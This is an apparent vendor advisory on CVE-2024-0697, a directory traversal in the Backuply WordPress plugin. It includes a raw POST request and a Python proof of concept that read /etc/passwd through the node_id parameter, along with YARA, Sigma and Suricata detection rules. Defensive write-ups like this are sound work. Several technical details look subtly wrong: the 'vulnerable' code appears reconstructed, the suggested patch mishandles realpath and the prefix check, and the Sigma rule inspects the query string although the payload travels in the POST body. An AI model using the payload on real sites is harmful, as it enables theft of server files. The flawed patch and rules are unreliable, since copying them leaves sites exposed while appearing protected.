CVE-2024-0697

Executive Summary

CVE-2024-0697 is a Directory Traversal vulnerability affecting the Backuply – Backup, Restore, Migrate and Clone WordPress plugin, versions up to and including 1.2.3. This vulnerability resides in the backuply_get_jstree function, which improperly sanitizes the node_id parameter. An authenticated attacker with administrator-level privileges can exploit this flaw to read arbitrary files on the server, potentially exposing sensitive information such as database credentials, configuration files, and other critical data.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The plugin is designed for backup and migration tasks, making it a high-value target for attackers seeking to exfiltrate sensitive data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Administrator access required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is 6.5, the requirement for administrator privileges reduces the immediate risk. However, once an attacker gains admin access, this vulnerability allows for deep reconnaissance and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the backuply_get_jstree function, which is called via an AJAX action. The function accepts a node_id parameter and uses it to construct a file path without proper sanitization. Specifically, the parameter is passed directly to functions like file_get_contents() or readfile() after minimal validation.

The vulnerable code path:

1. The node_id parameter is received via POST request.
2. The parameter is concatenated into a file path string.
3. The resulting path is used to read file contents.

An attacker can supply a node_id value such as ../../../../etc/passwd to traverse directories and read arbitrary files.

Root Cause: Lack of input validation and path canonicalization. The plugin does not check for directory traversal sequences (../) or restrict the base directory.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.3):

function backuply_get_jstree() {
    $node_id = $_POST['node_id'];
    $file_path = BACKUPLY_DIR . '/' . $node_id;
    if (file_exists($file_path)) {
        echo file_get_contents($file_path);
    }
    wp_die();
}

Patched Code (hypothetical):

function backuply_get_jstree() {
    $node_id = $_POST['node_id'];
    // Sanitize and validate the path
    $node_id = basename(realpath($node_id));
    $allowed_dir = realpath(BACKUPLY_DIR);
    $file_path = $allowed_dir . '/' . $node_id;
    // Ensure the resolved path is within the allowed directory
    if (strpos(realpath($file_path), $allowed_dir) === 0 && file_exists($file_path)) {
        echo file_get_contents($file_path);
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress admin credentials (e.g., user with administrator role)
• Target WordPress site running Backuply <= 1.2.3

Exploit Steps:

1. Log in to WordPress as an administrator.
2. Send a crafted POST request to the AJAX endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [admin session cookie]
   
   action=backuply_get_jstree&node_id=../../../../etc/passwd
   

3. The server will respond with the contents of /etc/passwd.

Proof of Concept (Python):

import requests

target = "http://target-site.com"
admin_cookies = {"wordpress_logged_in": "admin_session_cookie"}

payload = {
    "action": "backuply_get_jstree",
    "node_id": "../../../../etc/passwd"
}

response = requests.post(f"{target}/wp-admin/admin-ajax.php", cookies=admin_cookies, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual admin-ajax.php requests with action=backuply_get_jstree and node_id containing ../ sequences.
• Alert on file reads outside the plugin's expected directory.

Hunting:

• Search web server logs for node_id parameters containing path traversal patterns.
• Correlate with admin user activity logs.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-admin/admin-ajax.php with action=backuply_get_jstree and node_id containing ../ or absolute paths.
  • Response bodies containing sensitive file contents (e.g., /etc/passwd, wp-config.php).

• File System:

  • Unexpected file reads by the web server user from outside the plugin directory.

• Logs:

  • Web server access logs showing admin-ajax.php requests with suspicious node_id values.

Detection Engineering

YARA Rule

rule CVE_2024_0697_Backuply_Directory_Traversal {
    meta:
        description = "Detects exploitation attempts of CVE-2024-0697 in Backuply plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0697"
    strings:
        $traversal = /node_id=[^&]*\.\.\// nocase
        $ajax_action = "action=backuply_get_jstree"
    condition:
        $ajax_action and $traversal
}

Sigma Rule

title: CVE-2024-0697 Backuply Directory Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of directory traversal in Backuply plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=backuply_get_jstree'
        cs-uri-query|contains|all:
            - 'node_id='
            - '../'
    condition: selection
falsepositives:
    - Legitimate admin usage (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0697 Backuply Directory Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=backuply_get_jstree"; http_client_body; content:"node_id="; http_client_body; pcre:"/node_id=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Restrict admin access to trusted IPs only.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply input validation and path canonicalization as shown in the patched code example.
• Use realpath() to resolve the final path and ensure it starts with the allowed base directory.
• Implement a Web Application Firewall (WAF) rule to block node_id parameters containing ../.

Vendor Communication:

• Contact the plugin author for an official patch.
• If no patch is forthcoming, consider forking the plugin or switching to an alternative.

Report generated by Valters IT DevSecOps & CTI Division